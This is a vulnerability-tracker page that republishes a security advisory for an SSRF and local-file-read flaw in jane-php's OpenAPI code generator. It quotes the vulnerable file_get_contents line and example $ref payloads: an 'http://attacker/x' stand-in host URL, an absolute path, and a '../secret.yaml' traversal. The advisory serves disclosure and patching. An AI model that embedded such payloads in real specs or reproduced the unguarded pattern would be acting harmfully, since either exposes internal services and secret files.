VulnWatch by ve1ve2
high 7.0 EPSS 0.52%

GHSA-c3cj-3p6p-j822: Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)

Source:
OSV.dev
Published:
Fetched:
Updated:
Affects:
php jane-php/open-api-3

https://osv.dev/vulnerability/GHSA-c3cj-3p6p-j822 ↗

osvpackagistfix-available

Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php) ### Summary jane-php resolves external `$ref` targets at code-generation time via `file_get_contents($ref)` (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: `$ref: 'http://attacker/x'` -> SSRF (HTTP GET at gen time; response inlined = RFI); `$ref: '/abs/file'` -> LFI; `$ref: '../secret.yaml'` -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + `../` local content inlined into the generated code). `file://` rejected. CWE-918/CWE-98/CWE-611/CWE-22. ### Details ```php // Reference.php::doResolve() $contents = file_get_contents($fragment); // $fragment = attacker-controlled $ref URI ``` ### Impact Generating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via `../`), at build/CI time, inlining results into the output. ### PoC `reproduce.sh` (+ `make_spec.py`, `gen.php`): runs jane on a remote-$ref spec (local listener records the SSRF, output checked for the inlined response) and a `../`-traversal local-$ref spec (output checked for the leaked file). ### Suggested fix Disable remote `$ref` fetching by default (or allow-list); confine local `$ref` to the spec directory (reject absolute paths and `..`). Don't `file_get_contents($ref)` on attacker-controlled URIs. [maintainer-report.txt](https://github.com/user-attachments/files/29497381/maintainer-report.txt) [reproduce.sh](https://github.com/user-attachments/files/29497382/reproduce.sh) [gen.php](https://github.com/user-attachments/files/29497384/gen.php) [make_spec.py](https://github.com/user-attachments/files/29497385/make_spec.py) Affected: Packagist:jane-php/open-api-3 Fixed in: 7.12.0 References: https://github.com/janephp/janephp/security/advisories/GHSA-c3cj-3p6p-j822 https://nvd.nist.gov/vuln/detail/CVE-2026-63415 https://github.com/janephp/janephp/pull/961 https://github.com/janephp/janephp/commit/75f2bbf79ca2f2eeb13080a2cebded1263396b49 https://github.com/janephp/janephp https://github.com/janephp/janephp/releases/tag/v7.12.0

Linked vulnerabilities (2)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)

CWE: CWE-22, CWE-98, CWE-611, CWE-918Aliases: CVE-2026-63415
CVE-2026-63415 high 7.0 EPSS 0.52% (p45) NVDCVE.orgGHSA
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)

CWE: CWE-22, CWE-98, CWE-611, CWE-918Aliases: GHSA-c3cj-3p6p-j822NVD: Received

Also reported by (1)